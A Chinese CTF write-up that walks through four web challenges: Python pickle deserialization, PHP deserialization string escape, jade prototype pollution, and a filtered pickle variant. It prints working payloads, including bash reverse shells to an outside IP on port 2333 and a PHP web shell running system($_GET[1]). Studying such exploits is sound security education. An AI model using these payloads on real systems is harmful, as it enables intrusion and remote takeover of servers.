山警网络空间安全实验室比赛的复现学习


自己没打,但是朋友提了两嘴就去看了一下,题目还挺有意思,学习一下

myfavorPython

注册账户后进入一个页面,能够进行python反序列化,需要提交base64的payload。

python反序列化想到pickle,直接打pickle的payload就好了

有现成的就不想写reduce版本的了,如下:

1
2
3
4
5
6
7
8
opcode=b'''(S'bash -c "bash -i >& /dev/tcp/106.52.94.23/2333 0>&1"'
ios
system
.'''

import base64
r = base64.b64encode(opcode)
print(r)

反弹shell后flag在当前目录下的flag.txt,shell有点不稳定,所以要尽快操作

简单看扒一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import base64
import io
import os
import pickle
import pickletools
import sys

from flask import Flask, render_template, request, redirect, url_for, session
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user

app = Flask(__name__)
app.secret_key = 'welcome_to_here' # 修改为一个随机的密钥

# 初始化 Flask-Login
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

# 模拟一个用户类
class User(UserMixin):
def __init__(self, id):
self.id = id

# 模拟用户数据库
users = {'user_id': {'password': 'user_password', 'role': 'user'}, 'admin_id': {'password': 'asdfghjkl', 'role': 'admin'}}

@login_manager.user_loader
def load_user(user_id):
return User(user_id)




@app.route('/login', methods=['GET', 'POST'])

def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user_data = users.get(username)
if user_data and user_data.get('password') == password:
user = User(username)
login_user(user)

# 在登录成功后将用户的角色信息存储在 session 中
session['role'] = 'admin' if username == 'admin_id' else 'user'

return render_template('index.html')
return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
logout_user()
session.pop('role', None) # 清除 session 中的角色信息
return redirect(url_for('login'))

@app.route('/', methods=['GET', 'POST'])
@login_required
def index():
results = ""
if request.method == 'POST':
a = request.form['text']
# 创建一个 StringIO 对象以捕获输出
output = io.StringIO()
# 将 base64 编码的数据解码并进行 disassembly,输出重定向到 StringIO 对象
try:
decoded_data = base64.b64decode(a)
pickle.loads(decoded_data)

# 使用 context manager 重定向标准输出
with io.StringIO() as file:
old_stdout = sys.stdout
sys.stdout = file
try:
pickletools.dis(decoded_data)
finally:
sys.stdout = old_stdout
results = file.getvalue()
except Exception as e:
results = str(e)

# 渲染模板并传递 results 变量
return render_template('index.html', results=results)
else:
# 如果不是 POST 请求,则正常渲染 index.html
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']

# 检查用户名是否已存在
if username in users:
return "用户名已存在,请选择其他用户名"

# 创建新用户
users[username] = {'password': password, 'role': 'user'}

# 登录新用户
user = User(username)
login_user(user)

return redirect(url_for('index'))

return render_template('register.html')


if __name__ == '__main__':
app.config['SESSION_COOKIE_NAME'] = 'session'
app.run(host='0.0.0.0', port=5000,debug=True)

根据源码反推过程,开了debug模式,我们也可以利用异常带出:

1
2
3
4
5
6
7
opcode = b'''(S'raise Exception(__import__('os').popen('whoami').read())'
i__builtin__
exec
.'''
data = base64.b64encode(opcode)
print(data)
print(base64.b64decode(data))

逃跑大师

一眼顶针,鉴定为php反序列化逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start, $end + 1 - $start);
}
class A{
public $A;
public $B = "HELLO";
public $C = "!!!";
public function __construct($A){
$this->A = $A;
}
public function __destruct(){
$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
echo $key;
eval($key);
}
}
if(isset($_POST['escape'])) {
$Class = new A($_POST['escape']);
$Key = serialize($Class);
$K = str_replace("SDPCSEC", "SanDieg0", $Key);
unserialize($K);
}
else{
echo "nonono";
}

SDPCSEC变成了SanDieg0,多了一个字符

现在看一下问题所在,自定义的substrstr函数:

1
2
3
4
5
6
function substrstr($data)
{
$start = mb_strpos($data, "[");//返回指定字符第一次出现的位置
$end = mb_strpos($data, "]");
return mb_substr($data, $start, $end + 1 - $start);
}

我们可以控制B和C,再看mb_substr

这里建议翻菜鸟教程对函数的解读,它提及了一点,如果length是负数,就会从字符串的末端返回,如下图:

这里除去了从末尾开始计数的2个字符,所以我们能不能根据这个特点来截取到我们想要的字符呢

1
substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");

这里B和C我们是可以控制的,要想控制length为负数很简单,只需要end+1-start小于0,那将B设置为]end=0,那长度就是1-start,start就是[welcome sdpcsec的这个[,所以B填充多一些垃圾内容,就能够变成负数的length

问题是payload放B还是放C呢?

如果放C,那start一定是从B里面选或者从[welcome...来选,无论截取的长度为多少,一定会截取到welcome sdpcsec这个垃圾数据,所以只能够放B里

放B里,通过从后往前截取就能截取到我们想要的payload

那整个字符串就变成了

1
]xx[system('ls')];[welcome sdpcsec]

但是新的问题就是无论如何我们都会截取到这个[],那要怎么办呢?

其实不用担心,因为在php反序列化里有过一个利用数组调用类函数的操作,具体咋样我忘了T_T,忘记记录下来了,总之就是通过一个数组调用

也就是说这样也是可以调用的

所以payload就不用管了,还是这样

1
]xx[system('ls')];[welcome sdpcsec]

那中间要加多少个x呢?

先看一下length变成了1-start,截取到-19,所以+19个x:

不对,少了两个,所以减少两个x:

这样就OK了

接下来来序列化整个数据,做逃逸:

1
O:1:"A":3:{s:1:"A";s:3:"111";s:1:"B";s:5:"HELLO";s:1:"C";s:3:"!!!";}

大概长这样,我们要对A进行逃逸,结果就长这样:

1
O:1:"A":3:{s:1:"A";s:3:"111";s:1:"B";s:33:"]xxxxxxxxxxxxxxxxx[system('ls')];";s:1:"C";s:0:"";}

我们原本的结果长

1
O:1:"A":3:{s:1:"A";s:3:"111";s:1:"B";s:5:"HELLO";s:1:"C";s:3:"!!!";}

要逃逸就变成:

1
O:1:"A":3:{s:1:"A";s:3:"111";s:1:"B";s:33:"]xxxxxxxxxxxxxxxxx[system('ls')];";s:1:"C";s:0:"";}“";s:1:"B";s:5:"HELLO";s:1:"C";s:3:"!!!";}
1
";s:1:"B";s:33:"]xxxxxxxxxxxxxxxxx[system('ls')];";s:1:"C";s:0:"";}”

长度为68,多加68个SDPCSEC:

payload 长这样

1
SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:33:"]xxxxxxxxxxxxxxxxx[system(\'ls\')];";s:1:"C";s:0:"";}"

逃逸后的payload长这样:

1
O:1:"A":3:{s:1:"A";s:544:"SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0SanDieg0";s:1:"B";s:33:"]xxxxxxxxxxxxxxxxx[system('ls')];";s:1:"C";s:0:"";}"";s:1:"B";s:5:"HELLO";s:1:"C";s:0:"";}

写个shell吧,不然每次都要手搓,太累了

1
";s:1:"B";s:38:"]xxxxxxxxxxxxxxxxx[system(\$_GET[1])];";s:1:"C";s:0:"";}"

这里的反斜杠算一个字符,所以删掉一个SDPCSEC和反斜杠

1
SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:38:"]xxxxxxxxxxxxxxxxx[system(\$_GET[1])];";s:1:"C";s:0:"";}"

记得把反斜杠删掉,变成:

1
";s:1:"B";s:37:"]xxxxxxxxxxxxxxxxx[system($_GET[1])];";s:1:"C";s:0:"";}"
1
escape=SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:37:"]xxxxxxxxxxxxxxxxx[system($_GET[1])];";s:1:"C";s:0:"";}"

Ezzz_proto

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const express = require('express');
const lodash = require('lodash');
const path = require('path');
var bodyParser = require('body-parser');


const app = express();
var router = express.Router();

app.set('view engine', 'jade');
app.set('views', path.join(__dirname, 'views'));
app.use(bodyParser.json({ extended: true }));


app.get('/',function (req, res) {
res.send('Hello World');
})

app.post('/post',function (req, res) {
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
var malicious_payload = JSON.stringify(req.body);
var body = JSON.parse(JSON.stringify(req.body));
var a = {};
merge(a, JSON.parse(malicious_payload));
console.log(a.name);
res.render('index.jade', {
title: 'HTML',
name: a.name || ''
});
})
app.listen(1113, () => console.log('Example app listening on port http://127.0.0.1:1113 !'))

POST路由有merge函数进行原型链污染,可以看到index.jade,所以可以去搜索jade原型链污染:

jade原型链污染rce分析_jade 原型链污染-CSDN博客

1
2
3
4
5
{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require('child_process').exec('calc')//"}}



{"__proto__":{"self":1,"line":"global.process.mainModule.require('child_process').exec('calc')"}}

本地打打不通,所以得看它的原理(需要force step into)

跟着这篇文章分析:

入口在res.render

1
2
3
4
res.render('index.jade', {
title: 'HTML',
name: a.name || ''
});

跟踪到tryRender,到view的render方法

进到view.render查看:

进入到this.engine,跟进exports.__express里的exports.renderFile,返回值有个处理模板缓存的函数,跟进,这里不能够debug了,只能手动跟进

返回的templ由exports.compile返回,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
exports.compile = function(str, options){
var options = options || {}
, filename = options.filename
? utils.stringify(options.filename)
: 'undefined'
, fn;

str = String(str);

var parsed = parse(str, options);
if (options.compileDebug !== false) {
fn = [
'var jade_debug = [ new jade.DebugItem( 1, ' + filename + ' ) ];'
, 'try {'
, parsed.body
, '} catch (err) {'
, ' jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno' + (options.compileDebug === true ? ',' + utils.stringify(str) : '') + ');'
, '}'
].join('\n');
} else {
fn = parsed.body;
}
fn = new Function('locals, jade', fn)
var res = function(locals){ return fn(locals, Object.create(runtime)) };
if (options.client) {
res.toString = function () {
var err = new Error('The `client` option is deprecated, use the `jade.compileClient` method instead');
err.name = 'Warning';
console.error(err.stack || /* istanbul ignore next */ err.message);
return exports.compileClient(str, options);
};
}
res.dependencies = parsed.dependencies;
return res;
};

简单讲一下逻辑

前面获取到options和str,parsed由parse(str, options);返回,检查是否开启debug模式,如果开启将fn赋值成一个东西,没开启的话就变成parsed.body,所以这个parsed.body还是挺重要的,有可能可以打rce

后面就是给fn创建一个函数,调用fn自己。res能够调用fn函数,所以如果能调用res就能够调用fn

前面处理缓存的时候返回的是function()()的形式,相当于第一次返回的是函数,再调用返回的函数。所以res能够被调用,关键点在于parsed.body

跟进parse,写注释里了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
function parse(str, options){

if (options.lexer) {
console.warn('Using `lexer` as a local in render() is deprecated and '
+ 'will be interpreted as an option in Jade 2.0.0');
}//如果options.lexer存在,就会产生警告

// Parse
var parser = new (options.parser || Parser)(str, options.filename, options);//创建一个parser
var tokens;
try {
// Parse
tokens = parser.parse();
} catch (err) {
parser = parser.context();
runtime.rethrow(err, parser.filename, parser.lexer.lineno, parser.input);
}//尝试通过parse获取到tokens

// Compile
var compiler = new (options.compiler || Compiler)(tokens, options);
var js;
try {
js = compiler.compile();//创建一个编译器并且通过compile变成js
} catch (err) {
if (err.line && (err.filename || !options.filename)) {
runtime.rethrow(err, err.filename, err.line, parser.input);
} else {
if (err instanceof Error) {
err.message += '\n\nPlease report this entire error and stack trace to https://github.com/jadejs/jade/issues';
}
throw err;
}
}

// Debug compiler
if (options.debug) {
console.error('\nCompiled Function:\n\n\u001b[90m%s\u001b[0m', js.replace(/^/gm, ' '));
}//检查是否是debug模式,如果是就打印异常

var globals = [];//定义globals数组

if (options.globals) {//如果options.globals存在,就slice
globals = options.globals.slice();
}

globals.push('jade');
globals.push('jade_mixins');
globals.push('jade_interp');
globals.push('jade_debug');
globals.push('buf');//将这些属性赋值给globals

var body = ''
+ 'var buf = [];\n'
+ 'var jade_mixins = {};\n'
+ 'var jade_interp;\n'
+ (options.self
? 'var self = locals || {};\n' + js
: addWith('locals || {}', '\n' + js, globals)) + ';'//这里比较关键,如果options.self设置为了true,拼接var self = locals || {};\n' + js,否则拼接addWith('locals || {}', '\n' + js, globals)
+ 'return buf.join("");';
return {body: body, dependencies: parser.dependencies};//最后返回一个对象,由body和dependencies组成,只要控制body变量就能执行代码
}

所以无论self是true还是false,都会拼接js进去,js又成关键了

跟进compiler.compile()

这里进入之后就能看到和平时的不同

前面的还是一样:

1
2
3
this.buf = [];
if (this.pp) this.buf.push("var jade_indent = [];");
this.lastBufferedIdx = -1;

这里就是不同之处了,调用的是visitCode

之前调的是visit

跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
visitCode: function(code){
// Wrap code blocks with {}.
// we only wrap unbuffered code blocks ATM
// since they are usually flow control

// Buffer code
if (code.buffer) {
var val = code.val.trim();
val = 'null == (jade_interp = '+val+') ? "" : jade_interp';
if (code.escape) val = 'jade.escape(' + val + ')';
this.bufferExpression(val);
} else {
this.buf.push(code.val);
}

// Block support
if (code.block) {
if (!code.buffer) this.buf.push('{');
this.visit(code.block);
if (!code.buffer) this.buf.push('}');
}
},

这里拼接的是val这个变量了,如果code.val没有的话,就可以直接污染,那就是污染val这个值即可

前面还要污染compileDebug和self,详见前面的分析过程

payload将line改成val即可,无回显可以反弹shell:

1
{"__proto__":{"self":1,"val":"global.process.mainModule.require('child_process').exec('calc')"}}

payload:

1
{"__proto__":{"self":1,"val":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/106.52.94.23/2333 0>&1\"')"}}

Python-revenge

大同小异,只不过将debug模式关了,然后重新限制了一些东西

1
2
3
4
5
6
if b'before' in decoded_data or b'after' in decoded_data:
results = "不可以添加函数!"
return render_template("index.html",results=results)
elif b'static' in decoded_data or b'>' in decoded_data or b'|' in decoded_data or b'/' in decoded_data or b'template' in decoded_data:
results = "不能写文件嗷!"
return render_template("index.html",results=results)

这两个waf怎么绕呢,题目环境还是不出网的

不出网,无debug模式,还要rce,那不就到我们的内存马登场了吗?

所以这里才限制了before和after,因为内存马有before_requestafter_request

那简单,换用error_handler即可:

payload前面文章有